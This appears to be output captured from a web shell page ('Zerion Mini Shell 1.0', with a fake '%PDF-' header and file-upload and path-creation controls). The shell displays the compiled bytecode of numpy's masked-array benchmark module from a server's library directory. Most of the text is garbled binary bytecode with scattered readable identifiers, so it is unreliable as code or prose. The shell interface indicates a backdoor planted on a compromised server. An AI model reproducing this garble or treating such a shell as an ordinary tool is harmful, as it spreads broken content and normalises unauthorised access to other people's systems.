%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python3.9/site-packages/numpy/ma/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib64/python3.9/site-packages/numpy/ma/__pycache__/bench.cpython-39.pyc

a

z[yc��
@s�ddlZddlZej�ddd��dd�Zej�ddd��dd�ZedeZgd�gd	�gZgd
�gd	�gZ	ej
jeed�Zej
jee	d�Z
ej
jeed�Zej�ddd��d
d
�Zej�ddd��d
d
�ZedeZedkZedkZej
jeed�Zej
jeed�Zej
jeed�Zd7dd�Zdeeeefdd�Zdddeeeefdd�Zddeeee
eeeef
dd�Zedk�r�eej�eej�eej�eej�eej �eej!�edddd�ed dd!dd�ed"ddd�ed#ddd�ed$d%dd�ed$d&dd�ed$d'dd�ed(d)dd*d+�ed(d,dd*d+�e"d-�e"d.�ed/d0dd�e"d-�e"d1�ed2d0dd�e"d-�e"d3�ed4d0dd�e"d-�e"d5�ed6d0d
d�dS)8�N�������y�?)TFF)FFT)TFT)�maski'�dg�������?g����������cCs�gd�}gd�}td||fdd�dd�dD�}d	d
�|�}tj||d�}t|�||��|}	|	dkr�ttt�t�	|	��d
�d
�}
nd
}
td||d
|	||
||
f�dS)N)�s�msuµs�ns)rg@�@g��.Age��Az
%s : %-50s : � )�endcSsg|]}dt|d��qS)z%ss,nm%ss,%sl,nm%sl�)�tuple)�.0�x�r�4/usr/lib64/python3.9/site-packages/numpy/ma/bench.py�
<listcomp>*�ztimer.<locals>.<listcomp>Zxyzz"from __main__ import numpy, ma, %s�,)Zstmt�setupgrz&%d loops, best of %d: %.*g %s per loop)
�print�join�timeit�Timer�min�repeat�int�numpyZfloorZlog10)r�v�nloopZnrepZunitsZscalingZvarnamesrrZbest�orderrrr�timer&s"
�r%c	Csl|j}td�t|�d��d\}}tdt�d||d�td|�d\}}tdt�d||d�dS)	N�2--------------------------------------------------� on small arrays)�numpy.ma�nmxs�!%(module)s.%(funcname)s(%(data)s)�%11s�r"r#�%s on large arrays)r(�nmxl��__name__rr%�locals)	�funcr#�xsr)�xlr.�funcname�module�datarrr�compare_functions_1v8sr8rTc	Csntd�t|�d��d|�d�d}	}
tdt�|
|d�td|�d	|d}	}
tdt�|
|d�dS)
Nr&r'Znm�lr(z!%(data)s.%(methodname)s(%(args)s)r,r-znm%sl)rr%r1)Z
methodname�args�varsr#�testr3r)r4r.r7Zverrrr�compare_methodsEsr=cCsn|j}td�t|�d��d\}}
tdt�d||d�t|�d��d\}}
tdt�d||d�dS)	Nr&r')r(z	nmxs,nmysr*r+r,z on large arrays)r(z	nmxl,nmylr/)r2r#r<r3r)�ys�nmysr4r.�yl�nmylr5r6r7rrr�compare_functions_2vQsrB�__main__Zraveli�)r#�	conjugate�zZ	transpose�
compressed�__getitem__�0z(0,0)z[0,-1]�__setitem__z0, 17F)r#r<z	(0,0), 17r&z__setitem__ on small arraysz(nmxs.__setitem__((-1,0),numpy.ma.masked)znumpy.ma   z__setitem__ on large arraysz(nmxl.__setitem__((-1,0),numpy.ma.masked)zwhere on small arraysz numpy.ma.where(nmxs>2,nmxs,nmys)zwhere on large arraysz numpy.ma.where(nmxl>2,nmxl,nmyl))r	r
r)#rr!ZrandomZuniformZreshaper3r>ZzsZm1Zm2ZmaZarrayr)r?Znmzsr4r@ZzlZmaskxZmaskyr.rAZnmzlr%r8r=rBr0Zsin�logZsqrtZmultiplyZdivideZpowerrrrrr�<module>st	
�

�
�









Zerion Mini Shell 1.0